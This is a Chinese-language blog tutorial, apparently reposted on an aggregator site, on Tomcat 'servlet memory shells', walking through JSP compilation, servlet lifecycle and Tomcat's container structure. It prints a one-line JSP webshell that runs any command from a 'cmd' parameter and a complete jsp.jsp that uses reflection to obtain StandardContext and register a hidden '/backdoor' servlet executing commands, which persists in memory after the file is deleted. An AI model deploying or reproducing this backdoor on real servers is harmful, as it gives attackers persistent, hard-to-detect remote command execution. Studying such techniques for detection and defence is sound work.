Java安全之servlet内存马分析

这篇具有很好参考价值的文章主要介绍了Java安全之servlet内存马分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

前言 

什么是中间键

了解jsp的本质

理解servlet运行机制

servlet的生命周期

Tomcat总体架构

 查看Context 的源码

servlet内存马实现

参考


前言 

php和jsp一句话马我想大家都知道,早先就听小伙伴说过一句话木马已经过时了,现在是内存马的天下了 ,内存马无落地文件,更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的,究竟什么是内存马呢?

为了搞清这点我们必须从java的特性底层出发,才能对内存马知根知底。

本节我将介绍

        什么是内存马?

        什么是servlet?

        servlet运行机制

        jsp的本质

        Tomcat总体架构

        注册servlet到tomcat

        注册的流程

        StandardContext类

        servlet内存马的实现

什么是中间键

当我们发送一个url到服务器,再到服务器返回数据到给用户,这个过程中经历了什么!

我们都知道tomcat 是一个java程序的中间件,为什么这么说呢!

当我们浏览器发出url到web服务器,web服务器谁来处理这些连接请求 处理数据 返回数据?为什么一定要用tomcat不用行不行? tomcat帮我们做了什么?

tomcat的实现底层用到了socket编程 i/o输入输出流 反射调用 线程等技术。想一想如果不用tomcat 我们是否可以用纯java代码来实现这些功能!

了解jsp的本质

我们启用tomcat 把index.jsp复制到tomcat项目目录webapps\testServlet下

<%Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));%>

启动tomcat /bin/startup.bat

访问并传递参数http://127.0.0.1:8080/testServlet/index.jsp?cmd=calc

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

这里成功运行了jsp的java代码。

我们都知道java不像php语言一样,它是由java编译后运行的。编译器是怎么理解jsp的呢? 是什么机制?

我们可以打开tomcat的工作空间\apache-tomcat-8.0.50\work\Catalina\localhost\testServlet\org\apache\jsp

查看对应项目的反编译文件class类

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

 查看index_jsp.java

/*
 * Generated by the Jasper component of Apache Tomcat
 * Version: Apache Tomcat/8.0.50
 * Generated at: 2023-09-xx 02:06:44 UTC
 * Note: The last modified time of this file was set to
 *       the last modified time of the source file after
 *       generation to assist with modification tracking.
 */
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports {

  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();

  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

  private static final java.util.Set<java.lang.String> _jspx_imports_packages;

  private static final java.util.Set<java.lang.String> _jspx_imports_classes;

  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }

  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }

  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }

  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }

  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }

  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }

  public void _jspInit() {
  }

  public void _jspDestroy() {
  }

  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
        throws java.io.IOException, javax.servlet.ServletException {

final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
return;
}

    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;


    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
      			null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
      out.write('\r');
      out.write('\n');
    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}

可以看到我们写的jsp代码在index_jsp类中定义,而index_jsp类继承了org.apache.jasper.runtime.HttpJspBase

为了找到这个类,我们可以先找到jasper.jar这个包 在随便添加到某个项目里,查看里面的文件

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

package org.apache.jasper.runtime;

import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.HttpJspPage;
import org.apache.jasper.compiler.Localizer;

public abstract class HttpJspBase extends HttpServlet implements HttpJspPage {
    private static final long serialVersionUID = 1L;

    protected HttpJspBase() {
    }

    public final void init(ServletConfig config) throws ServletException {
        super.init(config);
        this.jspInit();
        this._jspInit();
    }

    public String getServletInfo() {
        return Localizer.getMessage("jsp.engine.info");
    }

    public final void destroy() {
        this.jspDestroy();
        this._jspDestroy();
    }

    public final void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this._jspService(request, response);
    }

    public void jspInit() {
    }

    public void _jspInit() {
    }

    public void jspDestroy() {
    }

    protected void _jspDestroy() {
    }

    public abstract void _jspService(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException;
}

 可以明确看到HttpJspBase 继承了HttpServlet类

可以说jsp的本质就是一个HttpServlet类

理解servlet运行机制

我们正常的servlet怎么写!

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //super.doGet(req, resp);
        resp.getWriter().write("hello world");
    } 

我们使用注解的方式,建立url地址/test 对应Servlet TestServlet类,重写doGet 向客户端返回hello world

浏览器访问 http://127.0.0.1:8080/testServlet/test

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

 tomcat 是怎么处理调用这个类的!

简单来说 tomcat程序会扫描项目中的@WebServlet 获取相应的字符串,在通过反射的方式,实例化这个对象,在对应socket连接输入输出流的基础上创建线程,调用Servlet 其中request请求对象也传了进去(也是由tomcat收集请求信息创建的对象)。调用service方法再根据请求参数调用相应的处理方法比如doget方法。

servlet的生命周期

实际上tomcat维护了一个大的hashmap<id,Servlet> 里面存放着servlet实例,当我们第一次尝试访问这个servlet路径时,tomcat使用反射将该servlet实例化同时调用init() 作初始化,之后这个实例就存放在了tomcat维护的hashmap<id,Servlet>中供后续使用。当再次请求这个servlet资源的时候,由于hashmap<id,Servlet>已经有这个实例 ,所以这时也不用再实例化对象,直接就可以使用了,因此init() 也不会调用。

可以看出 servlet 自实例化以来就一直可以常驻内存中,直到服务器关闭或Servlet调取destroy()方法进行销毁,Servlet生命周期才正式结束。

既然jsp可以执行java代码,servlet也是java代码一步一步地走出来的,那么我们是否可以用jsp手写底层逻辑再注册一个servlet呢! 如果tomcat中有一个servlet可以为攻击者所用,是不是就是说,有一个隐藏的后门,考虑到servlet的生命周期这个后门就是常驻内存的持久化的后门!

这就是所谓的--------------内存马

Tomcat总体架构

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

 对照上面的关系图

Server:Server容器就代表一个Tomcat实例(Catalina实例),其下可以有一个或者多个Service容器;

从Tomcat安装目录下的/conf/server.xml 文件里可以看到最顶层的是server。

 servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

Service:Service是提供具体对外服务的(默认只有一个),一个Service容器中又可以有多个Connector组件(监听不同端口请求,解析请求)和一个Servlet容器(做具体的业务逻辑处理);Service组件本身没做其他事

Engine和Host:Engine组件(引擎)是Servlet容器Catalina的核心,它支持在其下定义多个虚拟主机(Host),虚拟主机允许Tomcat引擎在将配置在一台机器上的多个域名,比如www.baidu.com、www.bat.com分割开来互不干扰;

Context:每个虚拟主机又可以支持多个web应用部署在它下边,这就是我们所熟知的上下文对象Context,上下文是使用由Servlet规范中指定的Web应用程序格式表示,不论是压缩过的war包形式的文件还是未压缩的目录形式;

Wrapper:在上下文中又可以部署多个servlet,并且每个servlet都会被一个包装组件(Wrapper)所包含(一个wrapper对应一个servlet)

怎么理解Engine Host Context Wrapper 这四者之间的关系呢? 抛开晦涩难懂的术语 或许我们用java的特性会更好理解点,基于万物皆可对象。

Engine: 我们可以直接把他理解为tomcat,一个tomcat 一个Engine;若我们想运行一个网站首先要下载安装tomcat对吧!

Host: host可以理解为一个虚拟主机,为什么是虚拟? 想一想我们的一台电脑(主机)只能开启一个web服务吗!并不是吧,我们可以绑定不同端口或者不同域名来开启一个或多个web服务。在外部看来就好像多台主机启动一样,但实际上它们都是一台主机开启的。为了描述这种技术我们将其称之为虚拟主机;当我们下载安装好后,一定会考虑配置tomcat要监听的网卡和要监听的端口甚至是域名,对吧!

Context :很多人说这是上下文!那你能说说什么是上下文吗!不要用术语去解释术语,当然这也有可能是翻译问题。我们看看官方怎么说的Apache Tomcat 7 Configuration Reference (7.0.109) - The Context Containerhttps://tomcat.apache.org/tomcat-7.0-doc/config/context.html

The Context element represents a web application, which is run within a particular virtual host. Each web application is based on a Web Application Archive (WAR) file, or a corresponding directory containing the corresponding unpacked contents, as described in the Servlet Specification (version 2.2 or later). For more information about web application archives, you can download the Servlet Specification, and review the Tomcat Application Developer's Guide.

------------换句话说可以把这个理解为webapps目录下的目录,一个context就是一个目录,万物皆对象嘛!

对于我们的servlet程序(本质就是一个java类)肯定是存在于目录(Context)下对吧!故在这个世界中它的创建销毁是交给了context对象来管理。

举个例子 来加深下Context 的理解

在server.xml 配置如下 ;写在host标签下

<Context path="/myapp" docBase="C:/path/to/myapp" />

在上面的示例中,使用了一个 <Context> 标签来为名为 "myapp" 的上下文进行配置。通过设置 path 属性为 "/myapp",将应用程序的上下文路径设置为 "/myapp"。用程序的部署目录在本地文件系统上的路径为 C:/path/to/myapp。这个路径可以是包含应用程序源代码、配置文件和资源的目录。在访问该应用程序时,需要使用类似于 http://localhost:8080/myapp 的 URL即可。

Wrapper 就是servlet了,此次我们重点要关注的是servlet的创建注册,由于它的创建交由Context管理。故我们把重点放到Context 上,寻求注册servlet的方法。

 查看Context 的源码

源码下载Apache Tomcat® - Apache Tomcat 8 Software Downloads

参考文章最近迷上了源码,Tomcat源码,看我这篇就够了 - 掘金 (juejin.cn)

我们来到包package org.apache.catalina.startup;下 找到contextconfig.java 文件;代码两千多行,尝试搜索create找到创建servlet(wrapper)相关代码。代码定位在1282行

 for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored

            // jsp-file gets passed to the JSP Servlet as an init-param

            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

 这段代码片段是在处理Servlet的配置信息,并根据配置信息创建相应的Wrapper对象。具体的逻辑如下:

  1. 遍历webxml中所有的Servlet,使用一个增强型for循环,每次迭代将当前的ServletDef对象赋值给servlet变量。

  2. 创建一个Wrapper对象,并设置一些基本属性,如名称、是否启用等。

  3. 获取Servlet的参数集合,并将每个参数添加到Wrapper的初始化参数中。

  4. 设置Servlet的执行权限。

  5. 添加与Servlet相关的安全角色引用。

  6. 设置Servlet的类名。

  7. 处理Servlet的多部分配置,包括文件大小限制、上传位置等。

  8. 设置是否支持异步请求。

  9. 设置是否允许覆盖。

  10. 将创建的Wrapper对象添加到上下文(Context)中。

通过以上步骤,这段代码实现了对webxml中所有Servlet的遍历和配置处理,并将其对应的Wrapper对象添加到上下文中,以便后续的Servlet的加载和运行。

11.实现将Servlet与URL模式进行映射,并将映射关系添加到上下文中,以便后续请求匹配对应的Servlet进行处理。

基于以上代码我们需要做简单的修改,保留关键部分的代码

Wrapper wrapper = context.createWrapper();

wrapper.setName(servlet.getServletName());

wrapper.setServletClass(servlet.getServletClass());

context.addChild(wrapper);

context.addServletMappingDecoded(entry.getKey(), entry.getValue());

这段代码的作用是创建一个Wrapper对象,并将其添加到上下文中,同时将Servlet与URL模式进行映射。具体逻辑如下:

  1. 创建一个Wrapper对象,调用上下文(Context)的createWrapper()方法,返回一个新的Wrapper实例,并将其赋值给wrapper变量。

  2. 设置Wrapper的名称,即调用setName()方法,将Servlet的名称(servletName)设置为Wrapper的名称。

  3. 设置Wrapper的Servlet类名,即调用setServletClass()方法,将Servlet的类名(servletClass)设置为Wrapper的Servlet类名。

  4. 将创建的Wrapper对象添加到上下文中,即调用上下文的addChild()方法,将Wrapper作为子元素添加到上下文中。

  5. 将Servlet与URL模式进行映射并添加到上下文中,即调用上下文的addServletMappingDecoded()方法,将URL模式和Wrapper的名称作为参数传入,将URL模式与对应的Servlet进行映射。

通过以上步骤,可以实现创建Wrapper对象并将其添加到上下文中,同时将Servlet与URL模式进行映射,以便后续根据URL模式匹配到对应的Servlet进行请求处理。

 由于context为接口 ,我们需要一个实例用context接收 调用createWrapper()方法。

Context,实现类为 org.apache.catalina.core.StandardContext

目前我们有request对象,它其中getServletContext()方法。看看能否找到相关的类StandardContext

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

servlet内存马实现

servlet后门定义

<%!
public class backdoor extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{
     
        resp.getWriter().write("hello world");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }

}
%>

获取一个StandardContext对象

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

创建weapper,注册servlet

<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());



context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>

和起来的的代码jsp.jsp

//jsp功能实现
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>backdoor</title>
  </head>
  <body>
<h1>backdoor</h1>
<%!
public class backdoor extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{
     
        resp.getWriter().write("hello world");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }

}
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>



<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());



context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>

  </body>
</html>

上传jsp.jsp到tomcat项目目录webapps\testServlet下,访问

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

( 插曲,其实这里出的错不少,一直调啊调,最终才调好。)

貌似执行成功了 ,现在访问我们的servlet 带上参数

servlet 内存马,java代码审计,java,开发语言,servlet,安全,web安全,tomcat,安全性测试

 根据理论,现在即使删除jsp.jsp文件,这个路径访问还是会生效。算的上是一个持久化的后门。

只有tomcat重启,这个注册的servlet才会被销毁。

除此之外,我们还可以从监听器 过滤器下手,它们也可以创建内存马,不过本质上都一样,。

参考

Servlet内存马-CSDN博客

最近迷上了源码,Tomcat源码,看我这篇就够了 - 掘金 (juejin.cn)

java内存马专题1-servlet内存马_哔哩哔哩_bilibili

https://tomcat.apache.org/tomcat-7.0-doc/config/context.html

 GPT3.5文章来源地址https://www.toymoban.com/news/detail-761614.html

var code = "8edeba5f-72d6-4a0b-b458-39fdb607e5a9"

到了这里,关于Java安全之servlet内存马分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java代码审计

    本文原创作者:谷哥的小弟 作者博客地址:http://blog.csdn.net/lfdfhl 代码审计是一种安全测试方法,它通过对软件应用程序代码的静态分析和动态测试来确定应用程序中存在的安全漏洞。其主要目的是检测应用程序中可能被攻击者利用的安全漏洞,如输入验证问题、访问控制问

    2024年02月12日
    浏览(31)
  • Java代码审计之XSS攻击

    存在XSS漏洞的java代码: 第一段 反射型XSS payload 第二段 存储型XSS 访问如下地址存储脚本到Cookie中 当后端再获取Cookie返回时 访问 成功弹窗 修复 目前最有效的办法,对特殊字符进行实体转义。 XSS安全代码: XSS排查 利用xsstriker等工具进行扫描 手动输入特殊字符看被没被实体

    2024年02月15日
    浏览(36)
  • Java代码审计-XMI注入(XXE)

    1.1.1 什么是XML XML 指可扩展标记语言(EXtensible Markup Language)。 XML 是一种很像HTML的标记语言。 XML 的设计宗旨是传输数据,而不是显示数据。 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3C 的推荐标准。 1.1.2 XML注入漏洞原理 使用不可信

    2024年02月04日
    浏览(53)
  • java代码审计之SQL注入漏洞

    开更文章了,开一个关于Java代码审计相关的系列。 本来是想写成一本书的模式的,但是越写越发觉,篇幅太多,想了下还是每个专题单独写,而后最后汇总到一起。 慢慢写,基于笔者的理解抒写,如有问题,忘斧正。 关于这个系列不会可能有些不会写修复方案,也不会写得特别细

    2024年02月19日
    浏览(28)
  • Java代码审计——Commons Collections5 BadAttributeValueExpException

    反序列化总纲 cc链无非就是不同的调用拼接在一起形成的,比如cc5就是在cc1的基础上进行调用调整的。 在LazyMap的基础上,发现了一个新的调用方式,就是通过 TiedMapEntry+BadAttributeValueExpException的方式进行调用的。 在之前,我们知道LazyMap需要调用get方法才可以触发,那么我们

    2023年04月16日
    浏览(31)
  • Java代码审计安全篇-SSRF(服务端请求伪造)漏洞

    前言:  堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油 注意: 本文章参考qax的网络安全java代码审计,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误 SSRF漏洞  SSRF(Server-side Request

    2024年03月15日
    浏览(30)
  • Java安全 URLDNS链分析,网络安全开发面试基础

    this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员 那我们去 URLStreamHandler类 当中,查看下 hashCode方法 的代码 protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host pa

    2024年04月23日
    浏览(27)
  • Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

    反序列化总纲 观看顺序: Java代码审计——Commons Collections 迭代调用链 Java代码审计——Commons Collections TransformedMap调用链 AnnotationInvocationHandler作为Commons Collections最后一个触发阶段调用链来进行学习 首先来说AnnotationInvocationHandler,这个类是继承InvocationHandler,我们主要是要通过

    2023年04月08日
    浏览(29)
  • Servlet | Servlet原理、开发第一个带有Java小程序Servlet

    ✅作者简介:一位材料转码农的选手,希望一起努力,一起进步!  📃个人主页:@每天都要敲代码的个人主页 🔥系列专栏:Web后端 | Servlet 目录 一:模拟实现Servlet 二:开发第一个带有Java小程序Servlet【重点】 有了上一章节的分析,我们来模拟实现以下Servlet;下面先分析一

    2024年02月02日
    浏览(34)
  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包